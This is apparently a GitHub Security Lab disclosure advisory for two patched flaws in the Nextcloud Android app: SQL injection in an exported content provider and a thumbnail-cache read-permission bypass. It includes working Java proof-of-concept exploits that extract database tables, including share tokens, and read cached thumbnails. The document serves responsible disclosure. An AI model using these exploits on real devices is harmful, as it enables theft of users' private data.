Coordinated Disclosure Timeline
- 2021-10-04: report delivered to Nextcloud via HackerOne
- 2021-10-04: report acknowledged by Nextcloud team
- 2021-10-13: GHSL-2021-1008 fixed by Nextcloud team, patch review requested
- 2021-10-15: patch for GHSL-2021-1008 reviewed
- 2021-10-19: GHSL-2021-1007 still under triage by Nextcloud team
- 2021-12-21: GHSL-2021-1007 fixed by Nextcloud team, patch review requested
- 2021-12-21: patch for GHSL-2021-1007 reviewed
- 2021-12-21: waiting for CVE assignment and final advisory publication by Nextcloud team
- 2022-01-25: All advisories published
Summary
The Nextcloud Android app uses content providers to manage its data. The providers FileContentProvider
and DiskLruImageCacheFileProvider
have security issues (an SQL injection, and an insufficient permission control, respectively) that allow malicious apps in the same device to access Nextcloud’s data bypassing the permission control system.
Product
Nextcloud Android app
Tested Version
Latest (3.17.0)
Details
Issue 1: SQL Injection in FileContentProvider (GHSL-2021-1007)
The FileContentProvider
provider is exported
, as can be seen in the Android Manifest:
<provider
android:name=".providers.FileContentProvider"
android:authorities="@string/authority"
android:enabled="true"
android:exported="true"
android:label="@string/sync_string_files"
android:syncable="true">
--snip--
</provider>
Even though some paths are protected with the path-permission
element, there are three tables that can be freely interacted with by other apps in the same device. Those are:
- The root directory (
content://org.nextcloud/
) - The file table (
content://org.nextcloud/file/
) - The directory table (
content://org.nextcloud/dir
)
This is allowed both in the Android Manifest (because there isn’t a path-permission
element for those tables) and in the source code, where a permission check is implemented in the function isCallerNotAllowed
in FileContentProvider.java:1018
.
(Note that the return value false
means the caller is allowed.)
private boolean isCallerNotAllowed(Uri uri) {
switch (mUriMatcher.match(uri)) {
case SHARES:
case CAPABILITIES:
case UPLOADS:
case SYNCED_FOLDERS:
case EXTERNAL_LINKS:
case ARBITRARY_DATA:
case VIRTUAL:
case FILESYSTEM:
String callingPackage = mContext.getPackageManager().getNameForUid(Binder.getCallingUid());
return callingPackage == null || !callingPackage.equals(mContext.getPackageName());
case ROOT_DIRECTORY:
case SINGLE_FILE:
case DIRECTORY:
default:
return false;
}
}
By reviewing the entry-points of the Content Provider for those tables, it can be seen that several parameters containing user input end up reaching an unsafe SQL method that allows for SQL injection.
The delete
method
User input enters the content provider through the three parameters of this method:
public int delete(@NonNull Uri uri, String where, String[] whereArgs) {
The where
parameter reaches the following dangerous arguments without sanitization (not including permission-protected paths):
private int deleteSingleFile(SQLiteDatabase db, Uri uri, String where, String... whereArgs) {
// --snip--
try {
// --snip--
if (remoteId == null) {
return 0;
} else {
count = db.delete(ProviderTableMeta.FILE_TABLE_NAME,
ProviderTableMeta._ID + "=" + uri.getPathSegments().get(1)
+ (!TextUtils.isEmpty(where) ? " AND (" + where + ")" : ""), whereArgs);
}
}
// --snip--
}
private int deleteDirectory(SQLiteDatabase db, Uri uri, String where, String... whereArgs) {
// --snip--
if (uri.getPathSegments().size() > MINIMUM_PATH_SEGMENTS_SIZE) {
count += db.delete(ProviderTableMeta.FILE_TABLE_NAME,
ProviderTableMeta._ID + "=" + uri.getPathSegments().get(1)
+ (!TextUtils.isEmpty(where) ? " AND (" + where + ")" : ""), whereArgs);
}
// --snip..
}
count = db.delete(ProviderTableMeta.FILE_TABLE_NAME, where, whereArgs);
The query
method
User input enters the content provider through the five parameters of this method:
public Cursor query(@NonNull Uri uri, String[] projection, String selection, String[] selectionArgs, String sortOrder) {
The selection
and sortOrder
parameters reach the following dangerous arguments without sanitization (not including permission-protected paths):
// Take into account that this check is insufficient, since
// the attacker only needs to provide non-null selectionArgs
// for the arbitrary selection to reach the query method.
if (selectionArgs == null && selection != null) {
selectionArgs = new String[]{selection};
selection = "(?)";
}
sqlQuery.setStrict(true);
Cursor c = sqlQuery.query(db, projectionArray, selection, selectionArgs, null, null, order);
The update
method
User input enters the content provider through the four parameters of this method:
public int update(@NonNull Uri uri, ContentValues values, String selection, String[] selectionArgs) {
The values
and selection
parameters reach the following dangerous arguments without sanitization (not including permission-protected paths):
return db.update(ProviderTableMeta.FILE_TABLE_NAME, values, selection, selectionArgs);
Impact
This issue may lead to sensitive information disclosure, by reading other tables of the filelist
database which would otherwise require special permissions.
Resources
The following PoC demonstrates how a malicious application with no special permissions could extract information from any table in the filelist
database exploiting the issues mentioned above:
import android.content.ContentValues;
import android.content.Context;
import android.database.Cursor;
import android.net.Uri;
import android.util.Log;
public class Exploit {
public static String exploit(Context ctx, String columnName, String tableName) throws Exception {
Uri result = ctx.getContentResolver().insert(Uri.parse("content://org.nextcloud/file"),
newNextcloudFile());
ContentValues updateValues = new ContentValues();
updateValues.put("note=?,path=(SELECT GROUP_CONCAT(" + columnName + ",'\n') " +
"FROM " + tableName + ") " +
"WHERE _id=" + result.getLastPathSegment() + "--", "a");
Log.e("test","" + ctx.getContentResolver().update(
result, updateValues, null, null));
String output = query(ctx, new String[]{"path"},
"_id=?", new String[]{result.getLastPathSegment()});
deleteFile(ctx, result.getLastPathSegment());
return output;
}
private static ContentValues newNextcloudFile() throws Exception {
ContentValues values = new ContentValues();
values.put("parent", "a");
values.put("filename", "a");
values.put("encrypted_filename", "a");
values.put("created", "a");
values.put("modified", "a");
values.put("modified_at_last_sync_for_data", "a");
values.put("content_length", "a");
values.put("content_type", "a");
values.put("media_path", "a");
values.put("path", "a");
values.put("path_decrypted", "a");
values.put("file_owner", "a");
values.put("last_sync_date", "a");
values.put("last_sync_date_for_data", "a");
values.put("etag", "a");
values.put("etag_on_server", "a");
values.put("share_by_link", "a");
values.put("shared_via_users", "a");
values.put("permissions", "a");
values.put("remote_id", "a");
values.put("update_thumbnail", "a");
values.put("is_downloading", "a");
values.put("etag_in_conflict", "a");
values.put("favorite", "a");
values.put("is_encrypted", "a");
values.put("mount_type", "a");
values.put("has_preview", "a");
values.put("unread_comments_count", "a");
values.put("owner_id", "a");
values.put("owner_display_name", "a");
values.put("note", "a");
values.put("sharees", "a");
values.put("rich_workspace", "a");
return values;
}
public static String query(Context ctx, String[] projection, String selection, String[] selectionArgs) throws Exception {
try(Cursor mCursor = ctx.getContentResolver().query(Uri.parse("content://org.nextcloud/file"),
projection,
selection,
selectionArgs,
null)) {
if (mCursor == null) {
Log.e("ProviderHelper", "mCursor is null");
return "";
}
StringBuilder output = new StringBuilder();
while (mCursor.moveToNext()) {
for (int i = 0; i < mCursor.getColumnCount(); i++) {
String column = mCursor.getColumnName(i);
String value = mCursor.getString(i);
output.append("|").append(column).append(":").append(value);
}
output.append("\n");
}
return output.toString();
}
}
public static void deleteFile(Context ctx, String id) throws Exception {
ctx.getContentResolver().delete(
Uri.parse("content://org.nextcloud/file/" + id),
null,
null
);
}
}
By providing a columnName
and tableName
to the exploit function, the attacker takes advantage of the issues explained above to:
- Create a new
file
entry inFileContentProvider
. - Exploit the SQL Injection in the
update
method to set thepath
of the recently created file to the values ofcolumnName
in the tabletableName
. - Query the
path
of the modifiedfile
entry to obtain the desired values. - Delete the
file
entry.
For instance, exploit(context, "name", "SQLITE_MASTER WHERE type="table")
would return all the tables in the filelist
database, while exploit(context, "token", "ocshares")
would return the token
of every shared file via Nextcloud, which can be used to build a link that gives access to those files.
Issue 2: Permission bypass in DiskLruImageCacheFileProvider (GHSL-2021-1008)
The DiskLruImageCacheFileProvider
provider is exported
, as can be seen in the Android Manifest:
<provider
android:name=".providers.DiskLruImageCacheFileProvider"
android:authorities="@string/image_cache_provider_authority"
android:grantUriPermissions="true"
android:readPermission="android.permission.MANAGE_DOCUMENTS"
android:exported="true">
</provider>
It requires the readPermission
android.permission.MANAGE_DOCUMENTS
, but it doesn’t require a writePermission
. This fact allows any application in the same device to read image thumbnails of the files managed by Nextcloud (they just need to be opened in write mode), effectively bypassing the required readPermission
.
This is because, independently of whether the user is trying to read or write a file in a Content Provider, the openFile
method is called. The mode
parameter will change depending on what the user is trying to do ("r"
for reading, "w"
for writing), but the rest will remain the same.
As can be seen, DiskLruImageCacheFileProvider
will always return the ParcelFileDescriptor
independently of the mode:
@Override
public ParcelFileDescriptor openFile(@NonNull Uri uri, @NonNull String mode) throws FileNotFoundException {
return getParcelFileDescriptorForOCFile(getFile(uri));
}
So, as it’s shown in the PoC included in the Resources
section, an attacker just needs to access the content provider’s files in write mode to be able to read them.
Impact
This issue may lead to sensitive information disclosure, in the case a thumbnail contains sensitive data (although the chances are low), even if the attacker app does not have the otherwise required MANAGE_DOCUMENTS
permission.
Resources
The following PoC demonstrates how a malicious application with no special permissions could read the thumbnail of any Nextcloud-managed file, exploiting the issue mentioned above:
import android.content.ContentProviderClient;
import android.content.Context;
import android.net.Uri;
import android.os.ParcelFileDescriptor;
import java.io.File;
import java.io.FileInputStream;
import java.io.InputStream;
import java.nio.file.Files;
public class Exploit {
public static File exfiltrateThumbnail(Context ctx, String filename) throws Exception {
try (ContentProviderClient client = ctx.getContentResolver()
.acquireContentProviderClient(Uri.parse("content://org.nextcloud.imageCache.provider"))) {
ParcelFileDescriptor f = client.openFile(
Uri.parse("content://org.nextcloud.imageCache.provider/" + filename), "w");
try (InputStream in = new FileInputStream(f.getFileDescriptor())) {
File file = new File(ctx.getFilesDir(), filename);
if (file.exists()) {
file.delete();
}
Files.copy(in, file.toPath());
return file;
}
}
}
}
CVE
- CVE-2021-43863
- CVE-2021-41166
Resources
- https://github.com/nextcloud/security-advisories/security/advisories/GHSA-wrwg-jwpg-r3c4
- https://github.com/nextcloud/android/security/advisories/GHSA-vjp2-f63v-w479
- https://github.com/nextcloud/security-advisories/security/advisories
Credit
These issues were discovered and reported by the CodeQL static languages team member @atorralba (Tony Torralba).
Contact
You can contact the GHSL team at securitylab@github.com
, please include a reference to GHSL-2021-1007
or GHSL-2021-1008
in any communication regarding these issues.